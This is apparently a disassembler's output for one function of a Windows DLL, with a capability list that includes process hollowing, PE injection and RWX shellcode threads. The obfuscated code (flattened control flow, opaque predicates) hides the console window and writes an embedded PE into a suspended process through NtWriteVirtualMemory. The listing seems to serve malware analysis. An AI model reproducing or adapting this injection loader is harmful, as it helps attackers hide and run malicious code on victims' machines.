Function at 0x10003360
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x118
mov eax, dword [0x10067200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x120], 0x5663386e
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x124], eax
sub eax, 0x81fc93bc
je 0x10005f83
jmp 0x1000339c
mov eax, dword [ebp - 0x124]
sub eax, 0x822adb70
je 0x10004d75
jmp 0x100033b2
mov eax, dword [ebp - 0x124]
sub eax, 0x826a79c9
je 0x100066a5
jmp 0x100033c8
mov eax, dword [ebp - 0x124]
sub eax, 0x849c0d5f
je 0x100063f0
jmp 0x100033de
mov eax, dword [ebp - 0x124]
sub eax, 0x84a2d5b8
je 0x10006290
jmp 0x100033f4
mov eax, dword [ebp - 0x124]
sub eax, 0x85c1768b
je 0x10005c26
jmp 0x1000340a
mov eax, dword [ebp - 0x124]
sub eax, 0x85c996dc
je 0x10004e21
jmp 0x10003420
mov eax, dword [ebp - 0x124]
sub eax, 0x895ba837
je 0x10005d47
jmp 0x10003436
mov eax, dword [ebp - 0x124]
sub eax, 0x8c99c382
je 0x1000511b
jmp 0x1000344c
mov eax, dword [ebp - 0x124]
sub eax, 0x8ee0d772
je 0x10005666
jmp 0x10003462
mov eax, dword [ebp - 0x124]
sub eax, 0x91296331
je 0x10004569
jmp 0x10003478
mov eax, dword [ebp - 0x124]
sub eax, 0x92190191
je 0x10005715
jmp 0x1000348e
mov eax, dword [ebp - 0x124]
sub eax, 0x94497aaf
je 0x10005479
jmp 0x100034a4
mov eax, dword [ebp - 0x124]
sub eax, 0x96c62871
je 0x100061a1
jmp 0x100034ba
mov eax, dword [ebp - 0x124]
sub eax, 0x98635479
je 0x10006630
jmp 0x100034d0
mov eax, dword [ebp - 0x124]
sub eax, 0x995b9ce8
je 0x10004d24
jmp 0x100034e6
mov eax, dword [ebp - 0x124]
sub eax, 0x997b8dbd
je 0x10005152
jmp 0x100034fc
mov eax, dword [ebp - 0x124]
sub eax, 0x9a3539be
je 0x1000446f
jmp 0x10003512
mov eax, dword [ebp - 0x124]
sub eax, 0x9a380c4a
je 0x1000583d
jmp 0x10003528
mov eax, dword [ebp - 0x124]
sub eax, 0x9c922930
je 0x100064d5
jmp 0x1000353e
mov eax, dword [ebp - 0x124]
sub eax, 0x9d5aff29
je 0x10006705
jmp 0x10003554
mov eax, dword [ebp - 0x124]
sub eax, 0x9f15d3f8
je 0x1000666c
jmp 0x1000356a
mov eax, dword [ebp - 0x124]
sub eax, 0x9f6c9cce
je 0x100056e8
jmp 0x10003580
mov eax, dword [ebp - 0x124]
sub eax, 0xa34631c8
je 0x100044e1
jmp 0x10003596
mov eax, dword [ebp - 0x124]
sub eax, 0xa42634e3
je 0x10005d94
jmp 0x100035ac
mov eax, dword [ebp - 0x124]
sub eax, 0xa4b7eb67
je 0x10005b31
jmp 0x100035c2
mov eax, dword [ebp - 0x124]
sub eax, 0xa52851a0
je 0x10005b22
jmp 0x100035d8
mov eax, dword [ebp - 0x124]
sub eax, 0xa7d67144
je 0x100042e3
jmp 0x100035ee
mov eax, dword [ebp - 0x124]
sub eax, 0xa942c786
je 0x10005c08
jmp 0x10003604
mov eax, dword [ebp - 0x124]
sub eax, 0xa9ff556d
je 0x100047b7
jmp 0x1000361a
mov eax, dword [ebp - 0x124]
sub eax, 0xab469daf
je 0x1000455a
jmp 0x10003630
mov eax, dword [ebp - 0x124]
sub eax, 0xac75595d
je 0x10005f74
jmp 0x10003646
mov eax, dword [ebp - 0x124]
sub eax, 0xacc4e79d
je 0x10005904
jmp 0x1000365c
mov eax, dword [ebp - 0x124]
sub eax, 0xb087c9ea
je 0x100055f8
jmp 0x10003672
mov eax, dword [ebp - 0x124]
sub eax, 0xb9e88a0b
je 0x10004b99
jmp 0x10003688
mov eax, dword [ebp - 0x124]
sub eax, 0xc3acff30
je 0x10006109
jmp 0x1000369e
mov eax, dword [ebp - 0x124]
sub eax, 0xc651083a
je 0x100051a3
jmp 0x100036b4
mov eax, dword [ebp - 0x124]
sub eax, 0xc73ad836
je 0x10006826
jmp 0x100036ca
mov eax, dword [ebp - 0x124]
sub eax, 0xc73b6209
je 0x10005226
jmp 0x100036e0
mov eax, dword [ebp - 0x124]
sub eax, 0xc7821b3a
je 0x100040ea
jmp 0x100036f6
mov eax, dword [ebp - 0x124]
sub eax, 0xc9a46d0e
je 0x10004f1b
jmp 0x1000370c
mov eax, dword [ebp - 0x124]
sub eax, 0xcee21ca3
je 0x100048f5
jmp 0x10003722
mov eax, dword [ebp - 0x124]
sub eax, 0xcf9aaf15
je 0x10004729
jmp 0x10003738
mov eax, dword [ebp - 0x124]
sub eax, 0xd00d04a3
je 0x10004cd7
jmp 0x1000374e
mov eax, dword [ebp - 0x124]
sub eax, 0xd04c01e0
je 0x100055cb
jmp 0x10003764
mov eax, dword [ebp - 0x124]
sub eax, 0xd182a342
je 0x1000645e
jmp 0x1000377a
mov eax, dword [ebp - 0x124]
sub eax, 0xd1e1dacd
je 0x10005346
jmp 0x10003790
mov eax, dword [ebp - 0x124]
sub eax, 0xd343e74b
je 0x100049e3
jmp 0x100037a6
mov eax, dword [ebp - 0x124]
sub eax, 0xd42e431a
je 0x100048d4
jmp 0x100037bc
mov eax, dword [ebp - 0x124]
sub eax, 0xd8009aaf
je 0x10006917
jmp 0x100037d2
mov eax, dword [ebp - 0x124]
sub eax, 0xd8b26f3e
je 0x100045f8
jmp 0x100037e8
mov eax, dword [ebp - 0x124]
sub eax, 0xdb2411c0
je 0x100069d9
jmp 0x100037fe
mov eax, dword [ebp - 0x124]
sub eax, 0xdc4f0946
je 0x100048c5
jmp 0x10003814
mov eax, dword [ebp - 0x124]
sub eax, 0xdd2d35e4
je 0x100055e9
jmp 0x1000382a
mov eax, dword [ebp - 0x124]
sub eax, 0xde7c8cc7
je 0x10004356
jmp 0x10003840
mov eax, dword [ebp - 0x124]
sub eax, 0xe102bcbe
je 0x10004490
jmp 0x10003856
mov eax, dword [ebp - 0x124]
sub eax, 0xe2746a4b
je 0x10006810
jmp 0x1000386c
mov eax, dword [ebp - 0x124]
sub eax, 0xe29e63ac
je 0x100059ed
jmp 0x10003882
mov eax, dword [ebp - 0x124]
sub eax, 0xe2e319cb
je 0x10004bc2
jmp 0x10003898
mov eax, dword [ebp - 0x124]
sub eax, 0xe3b74a15
je 0x10004c30
jmp 0x100038ae
mov eax, dword [ebp - 0x124]
sub eax, 0xe519ed6d
je 0x10005007
jmp 0x100038c4
mov eax, dword [ebp - 0x124]
sub eax, 0xe67e16b0
je 0x10005c9c
jmp 0x100038da
mov eax, dword [ebp - 0x124]
sub eax, 0xe6c24cd7
je 0x100061bb
jmp 0x100038f0
mov eax, dword [ebp - 0x124]
sub eax, 0xe7e5961e
je 0x100069eb
jmp 0x10003906
mov eax, dword [ebp - 0x124]
sub eax, 0xe9676dc4
je 0x10005436
push eax
sub esp, 0x40
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001320
add esp, 4
lea eax, [0x100141e1]
sub esp, 4
mov dword [esp], eax
call fcn.10001320
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4c200
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x118]
movzx edx, word [eax]
mov eax, 0x38331c9c
mov ecx, 0x4215fab3
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x118]
add eax, 0x3c
mov dword [ebp - 0xa0], eax
mov eax, dword [0x10068538]
mov ecx, dword [0x10068534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3dbfaad1
mov ecx, 0x5312262c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov eax, dword [ebp - 0xa0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xa4]
sub eax, 0x27f3c4c9
add eax, ecx
add eax, 0x27f3c4c9
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x120], 0xfae916c9
jmp 0x10006a04
mov dl, byte [ebp - 0x95]
mov eax, 0x4db47404
mov ecx, 0xe102bcbe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov eax, dword [0x10068538]
mov ecx, dword [0x10068534]
mov edx, eax
add edx, 0xa19f2a9d
sub edx, 1
sub edx, 0xa19f2a9d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9f15d3f8
mov ecx, 0xa34631c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x94], eax
mov eax, dword [0x10068538]
mov ecx, dword [0x10068534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9f15d3f8
mov ecx, 0xab469daf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov dword [ebp - 0x120], 0x91296331
jmp 0x10006a04
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 0x94]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x10c]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10007ee0
add esp, 0xc
mov eax, dword [ebp - 0x108]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10007ee0
add esp, 0xc
mov eax, dword [ebp - 0x11c]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x90], al
mov dword [ebp - 0x120], 0xd8b26f3e
jmp 0x10006a04
mov ecx, dword [0x10068538]
mov eax, dword [0x10068534]
mov edx, ecx
sub edx, 0xb141b1d2
sub edx, 1
add edx, 0xb141b1d2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x826a79c9
mov ecx, 0x280d884e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov dword [ebp - 0x120], 0xf5fc3dd4
jmp 0x10006a04
mov dl, byte [ebp - 0x8e]
mov eax, 0xf510011
mov ecx, 0x5598d302
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov dword [ebp - 0x120], 0xd42e431a
jmp 0x10006a04
mov dl, byte [ebp - 0x8d]
mov eax, 0x2d9fb1ef
mov ecx, 0xcee21ca3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov eax, dword [0x10068538]
mov ecx, dword [0x10068534]
mov edx, eax
sub edx, 0x85aa926f
sub edx, 1
add edx, 0x85aa926f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9d5aff29
mov ecx, 0x3378977f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov dword [ebp - 0x120], 0x76e53192
jmp 0x10006a04
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x11c]
add eax, 4
add eax, 2
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x120], 0xe2e319cb
jmp 0x10006a04
mov ecx, dword [0x10068538]
mov eax, dword [0x10068534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfaee4d2f
mov ecx, 0xe3b74a15
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov eax, dword [ebp - 0x7c]
movzx ecx, word [eax]
mov eax, dword [ebp - 0x80]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x75], al
mov ecx, dword [0x10068538]
mov eax, dword [0x10068534]
mov edx, ecx
sub edx, 0x58d6f7d1
sub edx, 1
add edx, 0x58d6f7d1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfaee4d2f
mov ecx, 0xea3bb578
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe4]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0xe8]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xe4]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0x14]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x120], 0x995b9ce8
jmp 0x10006a04
mov eax, dword [0x10068538]
mov ecx, dword [0x10068534]
mov edx, eax
sub edx, 0xe6f80942
sub edx, 1
add edx, 0xe6f80942
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x37e59aca
mov ecx, 0x822adb70
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov eax, dword [ebp - 0xf8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe4]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
sub edx, 0x278f22ac
add edx, eax
add edx, 0x278f22ac
mov eax, dword [ebp - 0x10c]
mov esi, dword [eax]
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x70]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [0x10068538]
mov ecx, dword [0x10068534]
mov edx, eax
add edx, 0x34972f86
sub edx, 1
sub edx, 0x34972f86
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x37e59aca
mov ecx, 0x85c996dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov dword [ebp - 0x120], 0x4fc8f751
jmp 0x10006a04
mov dword [ebp - 0x120], 0xb9e88a0b
jmp 0x10006a04
mov dword [ebp - 0x120], 0x760f81e7
jmp 0x10006a04
mov dword [ebp - 0x120], 0x32983482
jmp 0x10006a04
mov eax, dword [0x10068538]
mov ecx, dword [0x10068534]
mov edx, eax
add edx, 0xa95f2e24
sub edx, 1
sub edx, 0xa95f2e24
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe2746a4b
mov ecx, 0xc651083a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov ax, word [ebp - 0x60]
movzx ecx, ax
mov eax, dword [ebp - 0x64]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x5d], al
mov eax, dword [0x10068538]
mov ecx, dword [0x10068534]
mov edx, eax
add edx, 0x597682fd
sub edx, 1
sub edx, 0x597682fd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe2746a4b
mov ecx, 0x6b34bea4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x114]
mov edx, dword [ebp - 0xe8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xd8]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0x14]
sub ecx, 0x71fa5f43
add ecx, edx
add ecx, 0x71fa5f43
mov edx, dword [ebp - 0xf8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xe8]
mov esi, dword [esi]
mov edi, dword [ebp - 0xd8]
imul edi, dword [edi], 0x28
add esi, edi
mov edi, dword [esi + 0xc]
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
mov esi, dword [ebp - 0x10c]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x11c]
add eax, 0x18
add eax, 0x20
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x120], 0x235d12b0
jmp 0x10006a04
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd8]
imul ecx, dword [ecx], 0x28
add eax, ecx
add eax, 0xc
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x120], 0x11a7b316
jmp 0x10006a04
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x120], 0x1dc6486
jmp 0x10006a04
mov dl, byte [ebp - 0x3e]
mov eax, 0xfec4c762
mov ecx, 0xdd2d35e4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov dword [ebp - 0x120], 0xb087c9ea
jmp 0x10006a04
mov ecx, dword [0x10068538]
mov eax, dword [0x10068534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x77c91bf0
mov ecx, 0x8ee0d772
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
cmp dword [eax + 4], 0
setne al
and al, 1
mov byte [ebp - 0x3d], al
mov ecx, dword [0x10068538]
mov eax, dword [0x10068534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x77c91bf0
mov ecx, 0x9f6c9cce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov dword [ebp - 0x120], 0x3b734f0c
jmp 0x10006a04
mov ecx, dword [0x10068538]
mov eax, dword [0x10068534]
mov edx, ecx
add edx, 0x1909c8a2
sub edx, 1
sub edx, 0x1909c8a2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2b4a4800
mov ecx, 0x87f2c0f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov dword [ebp - 0x120], 0x4f614674
jmp 0x10006a04
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov eax, dword [0x10068538]
mov ecx, dword [0x10068534]
mov edx, eax
sub edx, 0x527e01eb
sub edx, 1
add edx, 0x527e01eb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1e759527
mov ecx, 0x6ef409c0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov ecx, dword [0x10068538]
mov eax, dword [0x10068534]
mov edx, ecx
add edx, 0x9e6d9726
sub edx, 1
sub edx, 0x9e6d9726
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x13fc07ad
mov ecx, 0x14bff97c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov dword [ebp - 0x120], 0xa4b7eb67
jmp 0x10006a04
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x10c]
mov edx, dword [eax]
mov eax, dword [ebp - 0xbc]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
mov edx, eax
mov eax, 0xa942c786
mov ecx, 0x56520928
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov dword [ebp - 0x120], 0x679e3be4
jmp 0x10006a04
mov ecx, dword [0x10068538]
mov eax, dword [0x10068534]
mov edx, ecx
sub edx, 0x1a5bb5ed
sub edx, 1
add edx, 0x1a5bb5ed
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd8009aaf
mov ecx, 0xe67e16b0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov ecx, dword [0x10068538]
mov eax, dword [0x10068534]
mov edx, ecx
add edx, 0x5522f4a3
sub edx, 1
sub edx, 0x5522f4a3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd8009aaf
mov ecx, 0x5588acfc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x120], 0x18c36dd9
jmp 0x10006a04
mov eax, dword [0x10068538]
mov ecx, dword [0x10068534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4dd67db6
mov ecx, 0x328cd41c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov dword [ebp - 0x120], 0x81fc93bc
jmp 0x10006a04
mov ecx, dword [0x10068538]
mov eax, dword [0x10068534]
mov edx, ecx
add edx, 0x89de0339
sub edx, 1
sub edx, 0x89de0339
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf4b01060
mov ecx, 0x5782511a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov ecx, dword [0x10068538]
mov eax, dword [0x10068534]
mov edx, ecx
add edx, 0xb670d360
sub edx, 1
sub edx, 0xb670d360
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3d4583cd
mov ecx, 0xee242c60
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
